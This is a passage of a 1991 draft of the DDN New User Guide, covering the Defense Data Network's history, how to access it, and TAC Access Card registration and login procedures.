Protocol (FTP). . . . . . . . . . . . . . . . . . . .36 + 5.2.1 Transferring a File on a UNIX System. . . . . . . . . . . . . . .39 + 5.2.2 How to FTP a Directory Listing. . . . . . . . . . . . . . . . . .40 + 5.3 Using TELNET. . . . . . . . . . . . . . . . . . . . . . . . . . . .42 + 5.3.1 Invoking TELNET with the Hostname on the Command Line . . . . . .42 + 5.3.2 TELNET Using Host Address . . . . . . . . . . . . . . . . . . . .44 + +SECTION 6. DDN NETWORK INFORMATION CENTER (NIC). . . . . . . . . . . . . .46 + 6.1 Contacting the NIC. . . . . . . . . . . . . . . . . . . . . . . . .46 + 6.1.1 NIC User Assistance Help Desk . . . . . . . . . . . . . . . . . .46 + 6.1.2 NIC Host. . . . . . . . . . . . . . . . . . . . . . . . . . . . .47 + 6.1.3 NIC Online Contacts . . . . . . . . . . . . . . . . . . . . . . .47 + 6.1.4 NIC U.S. Mail Address . . . . . . . . . . . . . . . . . . . . . .48 + 6.2 NIC Services. . . . . . . . . . . . . . . . . . . . . . . . . . . .48 + 6.2.1 Network and User Registration Services. . . . . . . . . . . . . .48 + 6.2.2 Usage-Sensitive Billing Service Desk. . . . . . . . . . . . . . .50 + 6.2.3 Security Coordination Center (SCC). . . . . . . . . . . . . . . .50 + 6.3 NIC User Programs . . . . . . . . . . . . . . . . . . . . . . . . .50 + 6.3.1 WHOIS/NICNAME . . . . . . . . . . . . . . . . . . . . . . . . . .51 + +DRAFT [Page iii] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + 6.3.1.1 Accessing WHOIS . . . . . . . . . . . . . . . . . . . . . . . 51 + From a TAC. . . . . . . . . . . . . . . . . . . . . . . . . . 51 + From a DDN Host . . . . . . . . . . . . . . . . . . . . . . . 51 + Via Electronic Mail . . . . . . . . . . . . . . . . . . . . . 52 + 6.3.1.2 Using WHOIS . . . . . . . . . . . . . . . . . . . . . . . . . 52 + 6.3.1.3 WHOIS Search Examples . . . . . . . . . . . . . . . . . . . . 53 + WHOIS Search by Name. . . . . . . . . . . . . . . . . . . . . 54 + WHOIS Search by Partial Name. . . . . . . . . . . . . . . . . 55 + WHOIS Search by Handle. . . . . . . . . . . . . . . . . . . . 56 + WHOIS Search by Hostname. . . . . . . . . . . . . . . . . . . 56 + WHOIS Search by TAC Name. . . . . . . . . . . . . . . . . . . 58 + WHOIS Search by PSN Number. . . . . . . . . . . . . . . . . . 59 + WHOIS Search by Network Number. . . . . . . . . . . . . . . . 60 + WHOIS Search by Domain Name . . . . . . . . . . . . . . . . . 61 + 6.3.2 NIC/QUERY . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 + 6.3.3 TACNEWS . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 + 6.3.4 NIC Kermit Server . . . . . . . . . . . . . . . . . . . . . . . 66 + 6.3.5 NIC Automated Mail Service. . . . . . . . . . . . . . . . . . . 67 + 6.4 Documents Published by the NIC. . . . . . . . . . . . . . . . . . 68 + 6.5 Online Reference Files at the NIC . . . . . . . . . . . . . . . . 69 + +SECTION 7. SECURITY CONSIDERATIONS AND NETWORK CONDUCT . . . . . . . .. 73 + 7.1 Requirements for Legitimate DDN Access. . . . . . . . . . . . . . 73 + 7.2 Security Considerations and Guidelines for Network Conduct. . . . 73 + 7.3 Network Conduct . . . . . . . . . . . . . . . . . . . . . . . . . 75 + 7.3.1 Passwords . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 + 7.3.2 File Protection . . . . . . . . . . . . . . . . . . . . . . . . 75 + 7.3.3 Plagiarism. . . . . . . . . . . . . . . . . . . . . . . . . . . 76 + 7.3.4 Mail. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 + 7.4 Additional Security Information . . . . . . . . . . . . . . . . . 77 + +SECTION 8. NETWORK CONCEPTS OVERVIEW . . . . . . . . . . . . . . . . . . 78 + 8.1 Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . 78 + 8.2 Usage Sensitive Billing . . . . . . . . . . . . . . . . . . . . . 78 + 8.3 Network Concentrators . . . . . . . . . . . . . . . . . . . . . . 79 + 8.4 Network Addressing. . . . . . . . . . . . . . . . . . . . . . . . 81 + 8.4.1 Finding Network Address Information . . . . . . . . . . . . . . 85 + 8.4.2 Obtaining Network Addresses . . . . . . . . . . . . . . . . . . 85 + 8.4.3 Knowing Your Network Address. . . . . . . . . . . . . . . . . . 85 + 8.5 The Domain Name System. . . . . . . . . . . . . . . . . . . . . . 86 + 8.6 Government Open Systems Interconnection Profile (GOSIP) . . . . . 89 + +DRAFT [Page iv] DRAFT + + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +SECTION 9. NETWORK SERVICE CENTERS AND CONTACTS. . . . . . . . . . . . . 90 + 9.1 The DDN Network Information Center (NIC). . . . . . . . . . . . . 90 + 9.1.1 General Reference Service Provided by the NIC . . . . . . . . . 91 + 9.1.2 NIC Online Contacts . . . . . . . . . . . . . . . . . . . . . . 91 + 9.1.3 NIC U.S. Mail Address . . . . . . . . . . . . . . . . . . . . . 92 + 9.2 Network Monitoring Centers (NMCs) . . . . . . . . . . . . . . . . 92 + 9.2.1 NMC Services. . . . . . . . . . . . . . . . . . . . . . . . . . 92 + 9.2.2 NMC Contacts. . . . . . . . . . . . . . . . . . . . . . . . . . 93 + 9.2.3 NMC U.S. Mail Addresses . . . . . . . . . . . . . . . . . . . . 93 + 9.3 Host Administrators and Node Site Coordinators. . . . . . . . . . 93 + 9.4 Military Communications and Operations Command Contacts . . . . . 94 + 9.5 Defense Information Systems Agency, Defense Network + Systems Organization (DISA DNSO). . . . . . . . . . . . . . . . . 95 + 9.6 Network Use Problems. . . . . . . . . . . . . . . . . . . . . . . 95 + +SECTION 10. BIBLIOGRAPHY . . . . . . . . . . . . . . . . . . . . . . . . 96 + +SECTION 11. GLOSSARY . . . . . . . . . . . . . . . . . . . . . . . . . .100 + +APPENDIX A. NETWORK RESOURCES. . . . . . . . . . . . . . . . . . . . . .109 + +APPENDIX B. COMMONLY ASKED QUESTIONS . . . . . . . . . . . . . . . . . .112 + +INDEX + + + LIST OF FIGURES + + +Figure 2-1 Methods of Accessing the Network. . . . . . . . . . . . . .7 + +Figure 4-1 TAC Card Illustration . . . . . . . . . . . . . . . . . . 16 + +Figure 6-1 User Registration Template. . . . . . . . . . . . . . . . 49 + +Figure 8-1 Internet Address Classes. . . . . . . . . . . . . . . . . 84 + + + + + +DRAFT [Page v] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + SECTION 1. INTRODUCTION + +1.1 Welcome + +Welcome to the Defense Data Network, or the DDN, as it is more commonly +called. The DDN is a powerful operational military network. It might be +thought of as an "umbrella" network composed of several large segments or +subnetworks. The unclassified portion of the DDN is a subnetwork known as the +MILNET. The MILNET connects the DDN to an even larger network that includes +military contractors, universities, and research centers; this entire +collection of interconnected networks is called the Internet. Its users +number in the thousands. It is the MILNET on which this document focuses. + +The DDN New User Guide explains the policies, concepts, and conventions of the +DDN, with major emphasis on the MILNET. The Guide contains an overview of and +a tutorial introduction to the DDN, along with descriptions of its more +interesting network programs and services. It is not intended to be a highly +technical document, and it does not cover the procedures for attaching +hardware, terminals, or other equipment to the network. This information is +provided in other documents [1,2]. + +Originally, the MILNET was an integral part of the research network known as +the ARPANET (after the Advanced Research Projects Agency, which was the +sponsor). In 1984, the MILNET and the ARPANET were physically separated, and +gateways were installed to allow traffic to be interchanged between the MILNET +and the research networks sponsored by DARPA (the Defense Advanced Research +Projects Agency). By 1990, the original ARPANET technology had become +obsolete, and the ARPANET was discontinued in June of that year. + +The DDN affords its users a wealth of services and resources. Many of your +colleagues already work on the network, and you will be able to communicate +with them quickly and easily, even though they may be hundreds of miles away. +The DDN also allows you to participate in discussions about topics of interest +to you and gives you the opportunity to use network programs and tools to +enhance your own capabilities. + +Using a computer network is not difficult. However, as with any new tool, +using it proficiently requires learning some procedures and guidelines and +practicing your new skills. The DDN New User Guide will provide the +background information necessary to get you started. We hope you find it a +useful introduction to the DDN. + +DRAFT [Page 1] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +1.2 Using This Guide + +The DDN New User Guide is written for the beginning user and should be +supplemented with reading from other sources. Network-specific terms are +defined both in context and in the Glossary (Section 11). Throughout the +text, references appear in the form "[n]". The bracketed numbers refer to +citations in the Bibliography (Section 10), which lists documents containing +additional explanatory or background information. Also, check online help +systems and the documentation that usually accompanies the network programs +you use. (Watch for pointers to online help files when you first access a +program or service.) We encourage you to expand your knowledge of the network +by consulting these and other information sources whenever you can. + +The Guide is divided into sections and subsections, each covering topics of +interest to a new user. A summary of the contents of each section follows. + + * Section 1 (this section) is a brief introduction to the Guide. + + * Section 2, The Defense Data Network, describes the structure of the + DDN and its administration. It also describes the MILNET and the + role of the Defense Network System Organization (DNSO). It provides + a brief historical sketch of the evolution of the DDN from the + original ARPANET. + + * Section 3, Network Connection, describes the ways in which various + machines access the network. + + * Section 4, DDN TAC Access, describes the procedures for obtaining + and using a TAC Access Card and provides detailed procedures for + accessing the network through a Terminal Access Controller (TAC) or + a Mini-TAC. Also included is background information that will be + helpful to TAC and Mini-TAC users, such as common error messages, + TAC commands, and instructions for performing file transfers. + + * Section 5, Network Use, provides "how-to" instructions for some of + the DDN's most useful services, such as electronic mail programs, FTP, + and TELNET. + + * Section 6, The DDN Network Information Center (NIC), describes in + detail the databases, programs, files, documents, and services offered + by the NIC. + +DRAFT [Page 2] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + * Section 7, Security Considerations and Network Conduct, explains the + legal and courtesy standards of the network. The importance of host + and network security is discussed, and in Section 7.1, the require- + ments for legitimate access to the DDN are defined. Be sure to read + the etiquette section (Section 7.3). Adhering to the guidelines given + there will decrease your chances of unwittingly offending other users + during your first days on the net. + + * Section 8, Network Concepts Overview, provides some background + information on terms and concepts that a new user might hear but not + understand. This section includes discussions on topics such as the + Domain Name System (DNS), network addressing, Government Open Systems + Interconnection Profile (GOSIP), and gateway concentrators. + + * Section 9, Network Service Centers and Contacts, describes network + service providers and how to reach them. The DDN Network Information + Center (NIC) is logically the first place to look for information + unavailable at the local level. The NIC can help you solve network + use problems, locate documents and resources, or identify appropriate + points of contact (POCs) for further assistance. + + * Sections 10 and 11 are a Bibliography and a Glossary of terms used in + this guide. + + * The appendices contain information about resources available to + network users and answers to some of the questions most often asked + by new users. + + * A feedback form is located at the back of the Guide. We encourage our + readers to use the form to make suggestions or point out errors. We + value your comments and suggestions and will consider them for future + versions of the DDN New User Guide. You may also send suggestions + online to SUGGESTIONS@NIC.DDN.MIL. + + + + + + + + + +DRAFT [Page 3] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +1.3 Document Conventions + + [NOTE: Most of the printing/typographic conventions described here + do not apply to the online version of this document. They are visible + only in the hard-copy version.] + +This document uses several printing conventions to identify the difference +between characters you type (input) and those that a computer prints to your +screen (output). These conventions are described below. + +Unless otherwise indicated, all user input is terminated by pressing the +carriage return or Enter key on your keyboard. (Pressing this key does not +cause a visible character to be printed.) In this document, the carriage +return or Enter key is represented as . Both input and output are +characterized by a typewriter-like font to further differentiate them from the +surrounding text. + + +1.3.1 User Input Display + +Your input (i.e., the characters you type) is represented in bold typeface: + + Your input looks like this. + + +1.3.2 Machine Output Display + +A non-bold, non-proportional font represents machine prompts, messages, and +other output. + + Machine text looks like this. + + +1.3.3 Comment Display + +In examples or instructions, Italics indicate comments we have inserted for +further clarification. + + Our comments look like this. + + + +DRAFT [Page 4] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +1.3.4 Typing Control Characters + +In using the network, it may sometimes be necessary for you to type special +characters known as control characters. These characters are often +represented in documentation by a letter prefixed with the circumflex +character "^" -- e.g., ^y. When entering these control characters, you must +press the control key simultaneously with the desired letter. For example, if +you see a "^y" in input instructions, this indicates a control-y, and it means +that you should press the control key while you type the letter "y". +Throughout this Guide, the control key is represented by the circumflex, +unless otherwise stated. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +DRAFT [Page 5] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + + SECTION 2. THE DEFENSE DATA NETWORK + + +2.1 Network Overview + +When you access a local computer, you are largely unaware of what kind of link +connects your terminal to the computer you wish to use. The terminal seems to +be the computer, since it prints or displays what is happening. As you +progress in your work, you may need to move data from your local computer onto +another computer, or you may wish to send a message to a colleague working on +a computer at a distant location. At this point, the usefulness of a +communication network becomes apparent. + +A communication network is a group of computers joined by data-carrying links. +A network may be as small as two or three personal computers tied together by +local telephone lines and located in the same building, or it may be a vast +complex of computers spread over the world, whose data links include long-haul +telephone lines, satellite relays, fiber-optic cables, or radio links. It is +also possible for several different networks to be interconnected to form an +"internetwork" or "internet." + +Everyone is familiar with telephones. Phone sets inside the house connect to +outside lines that lead into nearby local or regional telephone exchanges. +These exchanges are connected to make up one or more national telephone +systems. The national telephone systems communicate with each other to make +up an international telephone network. There are also private telephone +systems that are totally separate from the public telephone system and have +their own equipment. + +Computer networks follow a similar pattern. Local area networks (called LANs) +may connect computers within a building or in different buildings. A LAN may +remain separate, or it may interconnect to regional, national, or worldwide +commercial or government networks. Many of these large and small networks are +gradually interconnecting through gateways to form a worldwide system of data +networks similar to the telephone system. Indeed, since many computer +networks use telephone communication lines to carry data from one computer to +the next, the two systems are closely interwoven. + + + + +DRAFT [Page 6] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +You do not need detailed knowledge of this technology to use a network, but +you do need to understand the concept of going through layers of equipment and +interconnections. Effective network use also requires knowing the online +addresses of people or machines with which you wish to communicate and knowing +your own network address as well. + +The DDN is a special kind of data network known as a packet-switched network. +On this network, a terminal or a source host computer (generally just called a +host) passes a message along with its destination address to the local Packet +Switching Node (PSN) computer. The PSN breaks the message into packets, or +smaller chunks of data. Each of these packets has the same destination +address and source address as the original message, plus a sequence number +indicating which piece of the original message it represents. The packets are +passed from PSN to PSN until they reach the destination PSN, where they are +reassembled in their original order and delivered to the destination host. + +A packet switched network differs from a circuit-switched network in that no +predetermined dedicated path exists for delivery of the data. Each packet +takes the best route that it can find at the time, and all the packets in a +message do not necessarily take the same route. Once the packets arrive at +the destination PSN, they are reassembled in the correct sequence and +delivered to the destination host as a complete message. + + +2.2 Network Access Methods + +The Defense Data Network (DDN) is made up of a variety of equipment. Its +users provide terminals, modems, and host computers. The DDN supplies node +computers, encryption equipment, and leased telephone lines. You can reach +the network from your terminal in several ways by using different combinations +of hardware in conjunction with different network programs. These network +connection methods are shown in Figure 2-1. + + [NOTE: Because of software limitations, figures are not visible in + the online version of this document.] + + + + + + Figure 2-1. Methods of Accessing the Network + +DRAFT [Page 7] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + +A terminal may reach a host in several ways. + + * A wire or cable may run directly from the terminal to the computer; + this is called a hard-wired terminal. + + * A terminal may communicate with a computer via a telephone connected + to the terminal through a modem or acoustic coupler; this is called a + dial-up terminal. + +Dial-up terminals generally connect to the network at 1200 bits per second +(bps), although other speeds can be used. + + [NOTE: The speed setting of both your terminal and your modem must + be the same to enable the two devices to communicate properly with + one another.] + +With the appropriate equipment, personal computers may also be used as +terminals. In this case, the personal computer emulates (or acts like) a +terminal when it is used in terminal mode. + +A terminal may be directly attached to a local area network (LAN) or to a +local switch (similar to a telephone switch). The user of such a terminal can +reach any computer on the LAN or any computer connected to the switch. The +LAN may also be connected to the DDN through a gateway, which is a computer +whose software can direct traffic from the LAN onto the larger long-haul +network and vice versa. + + +2.3 Organization of the DDN + +The Defense Data Network is a large military common-user data communications +internetwork operated for the Department of Defense (DoD) by the Defense +Network Systems Organization (DNSO) of the Defense Information Systems Agency +(DISA). The DDN is made up of several networks. The MILNET is the DDN +network that is connected to the Internet. + + +2.4 Development of the DDN + +As mentioned previously, the MILNET is an unclassified military network that +is part of the DDN. It was built using technology developed as part of the +ARPANET, which was the prototype packet-switched network. + +DRAFT [Page 8] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +The ARPANET was built by the Defense Advanced Research Projects Agency (DARPA) +in 1969 as an experiment to determine the viability of a store-and-forward, +host-to-host, packet-switched network. The network designers wanted to +demonstrate that computers made by different manufacturers, of different +sizes, and running different operating systems, could communicate with one +another across a network. It was envisioned that users of such a network +could share programs and communicate via the network with other users at +distant locations. The experiment was successful, and today many data +networks are modeled after the ARPANET. + +In 1979, the Department of Defense decided to interconnect several DoD +long-haul computer networks through a set of internet protocols so that these +networks could share the same backbone of node computers linked by high-speed +telephone lines. Protocols are rules or standards by which computers +communicate on a network. + +The ARPANET protocols were developed by researchers known as the Internet +Working Group (IWG), under the sponsorship of the DARPA Information Processing +Techniques Office (IPTO). The protocols were tested for several years on the +ARPANET, and they proved useful for creating the networking environment that +the DoD wanted. + +In 1982, the DoD issued a directive [3] adopting a single set of communication +protocols based on the ARPANET protocols. This was followed later in 1982 by +a directive [4] to create the DDN as a parent, or umbrella, operational +military network made up of several existing or planned DoD computer networks. + +By 1983, the ARPANET, which was still considered an experimental network, had +grown to over 300 computers, many used for day-to-day operational military +purposes as well as for research. Other military users were seeking +networking services. To meet this growing need for an operational military +network, the DoD evaluated several network architectures and finally chose the +DARPA Internet architecture as the model for its common-user communications +network, the DDN. + +In September 1984, the original ARPANET was split into two separate +unclassified networks--a military research and development network (ARPANET) +and a military operational communications network (MILNET). The split +returned to DARPA a network for experimentation and established an +unclassified military network able to accommodate the DoD's growing +operational needs. + +DRAFT [Page 9] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + +In June 1990, the ARPANET was officially dissolved. Many sites that were +formerly part of the ARPANET are now connected to the National Science +Foundation Network, NSFNet. The MILNET remains under the administration of +DISA. Plans for upgrading and expanding the current network are now underway. + +A Defense Research Internet (DRI) will meet defense needs, while the National +Research and Education Network (NREN) will provide a national forum for +research and education. + + +2.5 The Defense Information Systems Agency, Defense Network Systems + Organization (DISA DNSO) + +DISA's Defense Network Systems Organization (DNSO) evolved from the Defense +Communications System Organization in 1991 (the same year in which DISA +evolved from the Defense Communications Agency). The DNSO handles overall +management, operations, and policy guidelines for the DDN. It assists new +military subscribers in bringing their computers and related equipment onto +the DDN. + +The DNSO provides many services to network users and potential network +subscribers. It is responsible for + + * Keeping the network "up and running," + * Providing user assistance, + * Setting policies and guidelines, + * Anticipating growth and expansion, + * Assisting new subscribers. + +Among its other duties, the DNSO also + + * Manages access control and security for the network backbone, + * Designates host and node contacts, + * Coordinates military sponsors, + * Provides technical management of contracts for services, equipment, + and software obtained from outside vendors. + +To provide operational management support for the DDN, the DISA DNSO has +designated a person to act as the primary Point of Contact (POC) for +operations for each of the DDN networks. For example, the MILNET Manager is +responsible for MILNET operations. One of his/her duties is to approve all +host connections to the MILNET and all changes to such connections. For +information about how to contact the current MILNET Manager or any of the +other DDN network managers, you may contact the DDN Network Information +Center. (See Section 6.1.1.) +DRAFT [Page 10] DRAFT + + + + + +NIC 60001, September 1991 DDN New User Guide + + + + SECTION 3. NETWORK CONNECTION + + +3.1 Host Access + +To open a connection through the network from one host to another, you must +first log in to one of the hosts from a terminal. After logging in, you may +open a connection across the network to a second host. Once this connection +is established, you may log in to the remote host computer and work there. +When you finish and log out of the remote computer, the network connection is +closed and you are back where you began--still logged in to the first host. +In this way, it is easy to use the resources of more than one computer +(assuming that you have a valid account on each system). + +The direct host-to-host connection just described is called a TELNET +connection. TELNET is a valuable network tool, because it lets you use +programs and utilities on remote machines that may not be available locally. +You may also open a specialized host-to-host link called a file transfer or +FTP connection. (FTP is the acronym for File Transfer Protocol.) FTP allows +you to copy or transfer files from one host to another. Sections 5.1.2 and +5.1.3 provide specific details for executing host-to-host FTP and TELNET +connections. + + +3.2 TAC Access + +You can access the network by connecting a hard-wired or dial-up terminal to a +terminal access controller, or TAC, and then logging into the TAC by entering +a valid Userid and Access Code (password). When a wire or cable runs directly +from a terminal to a TAC, it is called a "hard-wired" terminal. A TAC allows +a wide variety of terminals to communicate directly with any host on the +network without going through an intervening host. After logging into a TAC, +you can reach a network host by specifying its host address. You may also +establish this type of connection on a Mini-TAC (see Section 4.2.6). + + [NOTE: You must be a registered, authorized user to obtain a TAC + Userid and Access Code. See details in Section 4.1.1.] + + + + +DRAFT [Page 11] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +3.3 Gateway Access + +If a computer is attached to a LAN or a non-DDN network, a gateway or +concentrator manages communication between the local network and the DDN. The +gateway is transparent--that is, you should be unaware that it is there. Some +sites do not allow traffic to flow from the DDN to their internal network. In +such cases, the gateway exists and is functional, but you must use the gateway +host itself to perform any tasks that require access to the DDN (e.g., to +establish a TELNET or FTP connection to a DDN host). Electronic mail can +travel over this type of gateway transparently. Ordinarily, you need no +special commands or syntax to communicate through a gateway. Figure 2-1 +illustrates a gateway connection from a LAN to the DDN, as well as the other +connection strategies discussed in this Section. + + [NOTE: Because of software limitations, figures are not visible in + the ASCII format of the online version of this document.] + + +3.4 A Word About Personal Computers + +Although Personal Computers (PCs) can be attached to the DDN in several ways +(including as hosts), at present, most personal computers on the DDN are not +hosts--that is, they have not implemented the network protocols and are not +attached directly to a PSN. Functioning simply as terminals, they have no +other capabilities so far as the network is concerned. + +Like a terminal, a PC can be connected to a host, Terminal Access Controller +(TAC), or Mini-TAC through either a dedicated or a dial-up line. In these +cases, the PC needs special software that allows it to imitate a terminal. + +Once you have assembled the proper equipment, you will need to configure the +software for your particular system. You will often need to set the following +parameters: + + speed The baud rate (in bits per second) at which data is sent + and received; usually 300 or 1200 baud if your connection + is through a dial-up modem. However, 9.6 dial-up service + is currently being introduced. For direct lines, check + with your Node Site Coordinator. + + data bits Usually set at 8 + +DRAFT [Page 12] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + stop bits Usually set at 1 + + parity Usually set to "even" or "none" + +If these settings do not work, ask local user representatives or host +personnel what your system requires. Consult the documentation that +accompanies your personal computer, software, and/or modem for details of +operation. + +Local site representatives should be the first point of contact for PC-related +problems. If you have no such representative, contact the Host Administrator +for the host you are trying to reach. The NIC may also be able to help with +some of the problems you encounter. Check to see if your organization has a +PC users group, as other users can be a valuable source of advice. In +addition, the network has several general and machine-specific PC interest +groups that can provide a broad range of information and answers. (See +Appendix A for information on these groups, and see Section 4.2.5 for a +discussion of transferring files through a TAC or Mini-TAC to a PC.) + + + + + + + + + + + + + + + + + + + + + + + + +DRAFT [Page 13] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + + SECTION 4. DDN TAC ACCESS + +This section provides information about TAC cards and explains how to use a +TAC or Mini-TAC to log on to the network and set it to transfer files. It +also provides information on special settings that may be required to allow +the TAC/Mini-TAC to transfer files and function more efficiently. + + +4.1 TAC Card Information + +The following paragraphs explain how users are registered to receive TAC +cards, what items are printed on a TAC card, and how to get a TAC Users' +Guide. + + +4.1.1 TAC User Registration + +If you are unable to connect directly to your host computer, you will be +issued a TAC Access Card that allows you to access your host via a TAC or +Mini-TAC. Whether you are located hundreds or thousands of miles away from +the host or right next door, you will need a TAC card only if you cannot +access your host directly. + +TAC access requires official authorization from a MILNET Host Administrator, +as well as the assignment of a unique TAC Userid and Access Code (Password). + +After official authorization, the NIC issues each MILNET TAC user a TAC Access +Card containing a Userid and Access Code. The NIC cannot issue a card until +it has received approval from the Host Administrator for the user's primary +MILNET host. + + [NOTE: If you need a TAC card for a limited time, your Host + Administrator can probably issue you a TAC guest card, which is + good for up to three months. If you need such temporary access, + contact your Host Administrator.] + +Regardless of whether you normally use a direct connection to your host, you +may need a TAC Access Card if you travel extensively. Because TACs and +Mini-TACs are located all over the world, an Access Card allows you to log in +when you are out of town without incurring long distance phone charges. + +DRAFT [Page 14] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +The TAC Access Card contains a Userid and Access Code. This Userid and Access +Code are to be used only by the person to whom the card is issued. While +there is a strict policy of limiting TAC cards to one per person, you may have +many DDN host login accounts, and one TAC card can be used to access any of +these accounts. You do not need a TAC card from each host on which you have +an account. Any TAC card works on all TACs. + +Note that TAC cards are issued to users by individual name only. They are not +issued to groups of users or entire offices. This policy applies even when +many users share a single login account. Not only is this a security measure, +but it also prevents multiple users from losing DDN access when a single card +is invalidated. + +If you are using a card issued to another DDN user, please notify the person +listed as the CONTACT on the card. This is probably your Host Administrator. +Inform him/her that you are using an account on his/her host and that you wish +to have a TAC card issued in your own name. + + +4.1.1.1 Users Behind Concentrators + +DDN Management Bulletin 76 [5] states that only administrators of hosts that +are directly connected to the MILNET can authorize TAC or Mini-TAC Access +Cards for their users. Administrators of hosts that are behind concentrators +or gateways cannot directly authorize their users for TAC access. Such +administrators will need to transfer jurisdiction over their users to a Host +Administrator associated with a directly-connected MILNET host. If you are a +user or Host Administrator who has questions about this policy, please send a +message to + + REGISTRAR@NIC.DDN.MIL + +or call 1-800-365-DNIC for assistance. + +If you access the MILNET via a concentrator, the name of that concentrator, +its address, and its administrator will appear on the HOST, NETADDRESS, and +CONTACT lines of your TAC card. You may still use your card to access your +primary login account, even if it is on another host; however, you must know +the network address of your primary host. The administrator of your primary +host can tell you its address. You must know this address when you log into a +TAC and when you request help with a TAC login problem. + +DRAFT [Page 15] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +4.1.2 TAC Card Example + +Figure 4-1 is a sample of the left portion of a DDN TAC Access Card. To help +you understand the information on the TAC card, we have identified what each +information item represents. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Figure 4-1. TAC Card Example + + + +TAC cards are perforated and include instructions to "detach here" and "fold +here," allowing you to reduce the size of the card so that you may insert it +in a wallet or credit card case. + + +DRAFT [Page 16] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + WARNING!! Do not laminate your TAC Card. Because of NIC printing + requirements, blank cards are enclosed within carbon-coated envelopes. + This carbon material fades very quickly when placed in plastic envelopes + or when permanently laminated. This phenomenon also extends to the + placement of transparent tape over the print. If you wish to preserve + or darken the information printed on your card, we recommend that you + use a ballpoint pen to rewrite it just above or below the appropriate + item. + +The most important information on the right-hand portion of your TAC card is +your mailing address. However, the NIC includes its toll-free User Assistance +Hotline number on this section of the card in case you lose the left half. In +addition to the hotline number, the top of the card contains a brief set of +user guidelines. As an authorized TAC or Mini-TAC user, you are expected to +comply with these guidelines. If you find yourself in the position of sharing +a TAC Access Card with other users, please notify your Host Administrator and +request a TAC card for each individual. + + +4.1.2.1 Common TAC Card Userid/Access-Code Input Errors + +Just below the guidelines section is a key that shows how each printed +character appears on a TAC card. The statement, "Access codes never contain a +one, zero, 'Q' or 'Z'" follows. Remember that these characters are invalid +only in Access Codes and not in Userids. If you find that the TAC or Mini-TAC +is returning a "Bad Login" error message during your first attempts to log in, +check to see if you are typing one of these invalid characters. For example, +if you're typing a zero, try the letter O (oscar). If you're typing a Q +(quebec), try the letter G (golf) instead. Use the key to compare the printed +characters. Be aware that other character can also be similar. For instance, +the 8 (eight) sometimes looks like a B (bravo), and the S (sierra) sometimes +looks like a 5 (five). TAC card Userids and Access Codes are not case- +sensitive, i.e., you can enter them in either uppercase or lowercase +letters. + +If you have any questions about reading or using your TAC access card, call +the NIC for assistance at 1-800-365-DNIC. + + + + + +DRAFT [Page 17] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + +4.1.3 Obtaining the TAC Users' Guide + +The paragraph in fine print at the bottom of your TAC card alerts you that +further, more comprehensive information is available to you. Upon written +request, you can obtain the TAC Users' Guide from the Defense Information +Systems Agency (DISA). This document is geared toward users who are +interested in learning some of the finer points of TAC usage. + +To order the TAC Users' Guide, send a note specifying its title and DCAC +310-P70-74 to the following address: + + Defense Information Systems Agency + Attn: Code BIAR + 701 S. Courthouse Road + Arlington, VA 22204-2199 + + +4.2 TAC Login Procedures + +This section discusses how to use a TAC or Mini-TAC to log in to the DDN. It +also describes how to connect to a TAC or Mini-TAC, lists some common TAC or +Mini-TAC error messages, and presents information about transferring files +through a TAC to a PC. + + +4.2.1 Connecting to a TAC or Mini-TAC + +The following paragraphs explain the various ways in which you can connect to +a TAC or a Mini-TAC. + + +4.2.1.1 Dial-up TACs + +To connect to a TAC/Mini-TAC using the telephone system, follow the general +procedures described here. Because the exact steps required to dial the +TAC/Mini-TAC depend on your local hardware setup, check with local site +representatives for details. + +You may obtain the number of the nearest TAC/Mini-TAC directly from the +network by using the TACNEWS service (see Section 6.3.3) or by calling the NIC +at 1-800-365-DNIC. You can look up the phone number of a specific TAC or +Mini-TAC via the NIC WHOIS service (see Section 6.3.1). + +DRAFT [Page 18] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +In addition, many TAC/Mini-TAC phone numbers are listed on the back of your +TAC Access Card. + + +4.2.1.2 Using a Terminal with an Acoustic Coupler + +To use an acoustic coupler, first dial the TAC/Mini-TAC number on a telephone +and listen for the dial tone. When you hear the tone, put the telephone +handset into the indicated position on the coupler cuffs. + + +4.2.1.3 Using a Dial-up Modem + +A dial-up modem will be wired to your telephone and to your terminal. +(Consult the instructions that come with the modem to attach it to your +terminal and set it properly.) Begin by dialling the TAC/Mini-TAC number on +the telephone. Then, wait for the tone, switch the modem from "voice" to +"data," and set the handset back on the telephone cradle. Note that the speed +of the terminal must match the speed of the modem. Also note that some modems +are "smart"--that is, you will not have to use the telephone to dial the +number. Instead, you will type some instructions to your terminal, such as +"DIAL5551212" or "ATDT9,18003682227." The modem will then dial the number as +instructed and make the connection for you. See your modem instruction manual +for exact details. + + +4.2.1.4 Using a PC and Communications Software + +To access a TAC/Mini-TAC, you can use one of the popular communications +software packages such as Procomm or Xmodem. These programs often enable the +PC to dial the TAC/Mini-TAC, open the host connection, and enter your Userid +and Access Code automatically. If you use such a package, be sure you know +how to dial the TAC/Mini-TAC by hand in case there are problems with the +script or the 